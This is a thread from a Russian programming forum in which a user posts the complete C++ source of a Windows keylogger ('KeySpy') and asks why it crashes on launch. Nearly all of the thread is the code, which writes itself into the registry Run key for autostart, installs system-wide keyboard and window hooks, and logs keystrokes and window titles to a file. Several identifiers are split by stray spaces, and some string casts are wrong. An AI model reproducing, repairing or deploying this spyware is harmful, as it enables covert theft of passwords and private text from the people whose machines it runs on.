Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 23.11.2010, 20:23   #1
T.A.
 
Регистрация: 04.11.2010
Сообщений: 3
По умолчанию keylogger, он же клавиатурный шпион. нужен совет от гуру..=)

Добрый день, коллеги =)

Небольшая предыстория. Решил я написать небольшой клавиатурный шпион, записывающий нажатые клавиши в файлик. Поразбирался в теме, кое-что понял, но не все, поэтому в качестве образца решил попробовать скомпилировать найденный в интернете код. В итоге программа скомпилировалась, скомпоновалась, все дела, и выдала мне dll-библиотеку и exeшник. А теперь собственно проблема. При попытке запуска программы винда выдает ошибку "Ошибка при инициализации приложения 0xc0000005". (версия винды Windows XP SP3). Уважаемые гуру программирования, подскажите в чем проблема и как ее устранить? =)

код программы:

KeySpy.cpp: консольное приложение

Код:
#include <windows.h>

#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif

IMPORT BOOL SetKeyboardHook(void);     // функция импортируемая из DLL

BOOL Mutex(LPSTR szName)     // проверяет запущена ли уже копия
{
   HANDLE hMutex = CreateMutex (NULL, TRUE, (LPCWSTR)szName);			
   if (GetLastError() == ERROR_ALREADY_EXISTS)    
   {
       CloseHandle(hMutex);
       return FALSE;     // уже запущена
   }
   return TRUE; // все путем
}

void Registry(void) // вписываем в автозапуск
{
   HKEY hKey = HKEY_LOCAL_MACHINE; 
   LPCTSTR lpSubKey =(LPCTSTR)("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); 
   DWORD dwType = REG_SZ;
   HKEY key;
   RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
   char pfad[MAX_PATH];
   GetModuleFileName(NULL,(LPWCH)pfad,MAX_PATH);
   RegSetValueEx(key,(LPCWSTR)"KeySpy",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
}

int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR lpCmdLine,
           int nCmdShow )
{
   if(!Mutex("MySpy"))
       return 1; // одна копия уже есть закрываемся

   Registry();

   if(!SetKeyboardHook()) // устанавливаем хуки
       return 1; // не получилось закрываемся

// а это бесконечный цикл
   MSG msg;
   while (GetMessage (&msg, NULL, 0, 0))
   {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
   }
   return 0;
}

Последний раз редактировалось T.A.; 23.11.2010 в 20:27.
T.A. вне форума Ответить с цитированием
Старый 23.11.2010, 20:25   #2
T.A.
 
Регистрация: 04.11.2010
Сообщений: 3
По умолчанию

(то, что не влезло) =)

hook.cpp: DLL-project

[CODE]
#include <windows.h>
#include <stdio.h>

#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции

#ifdef __cplusplus
#define EXPORT extern "C" __declspec (dllexport)
#else
#define EXPORT __declspec (dllexport)
#endif

EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию

// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;

void WriteTime(void) // записывает дату и время
{
DWORD NOfBytes;
OVERLAPPED ovlp;
DWORD ffsze;
SYSTEMTIME time;
char buffer[30];

GetLocalTime(&time); // получаем дату и время
// форматируем это в String
sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
time.wMonth,time.wYear,time.wHour,t ime.wMinute);

ffsze=GetFileSize(hFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;

WriteFile(hFile,buffer,strlen(buffe r),&NOfBytes,&ovlp); // пишем в файл
}

void WriteTitle(HWND hWnd) // записывает имя окна
{
WriteTime(); // сначала пишем время
DWORD NOfBytes;
OVERLAPPED ovlp;
DWORD ffsze;
char buffer[250];
char title[256];
GetWindowText(hWnd,(LPWSTR)title,10 0); // получаем имя
sprintf(buffer," %s\r\n",title);
ffsze=GetFileSize(hFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;

WriteFile(hFile,buffer,strlen(buffe r),&NOfBytes,&ovlp);
}

short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
BYTE btKeyState[256];
HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
WORD Symbol;
GetKeyboardState(btKeyState);
if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
return Symbol;
return -1;
}

void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
DWORD NOfBytes;
OVERLAPPED ovlp;
DWORD ffsze;
WORD wc;

ffsze=GetFileSize(hFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;

if(wParam==VK_RETURN)
WriteFile(hFile,"\r\n",2,&NOfBytes, &ovlp);

else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
if(iswprint(wc)) // проверяем или знак текстовой
WriteFile(hFile,&wc,1,&NOfBytes,&ov lp);
}

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память
{
if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый
hi=hModule;
char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
// будет создавать новый в своем каталоге
GetModuleFileName(hi,(LPWCH)pfad,MA X_PATH); // путь к нашей ДЛЛ
*(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
strcat(pfad,"KeySpy.txt"); // вставляем имя файла
// каждый процесс должен открыть для себя файл отдельно
if((hFile=CreateFile((LPCWSTR)pfad, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE|FILE_SHARE_READ,NU LL,
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,N ULL))==INVALID_HANDLE_VALUE)
return FALSE;
break;
}

case DLL_PROCESS_DETACH:
{ // Снимать хуки и закрывать файл необязательно
// Система делает это автоматически
// UnhookWindowsHookEx(hKeyHook);
// UnhookWindowsHookEx(hCBTHook);
// CloseHandle(hFile);
break;
}
default:
break;
}
return TRUE ;
}

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
// вызывается при нажатии или отпускании клавиши
{
if (nCode)
return CallNextHookEx(hKeyHook,nCode,wPara m,lParam);
if(lParam>=0) // нам нужно только нажатие
WriteSymbol(wParam);
return CallNextHookEx(hKeyHook,nCode,wPara m,lParam); // обработали передаем дальше
}
T.A. вне форума Ответить с цитированием
Старый 23.11.2010, 20:25   #3
T.A.
 
Регистрация: 04.11.2010
Сообщений: 3
По умолчанию

LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode==HCBT_ACTIVATE)
// вызывается перед тем как система собирается активировать какоето окно или открыть новое
WriteTitle((HWND)wParam); // wParam новый HWND
return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше
}

BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек
{
hKeyHook=SetWindowsHookEx(WH_KEYBOA RD,&KeyboardProc,hi,0);
hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
return hKeyHook && hCBTHook;
}[/CODE]
T.A. вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
keylogger-клавиатурный шпион betirsolt Win Api 59 04.08.2011 10:40
клавиатурный шпион sisofcase Общие вопросы Delphi 6 20.06.2011 17:55
Нужен совет! Энжи Помощь студентам 1 24.04.2010 20:05
Нужен совет... Расим Общие вопросы Delphi 1 15.04.2009 16:18
обновление в блоге - Клавиатурный шпион. Pblog Обсуждение статей 0 27.05.2007 03:17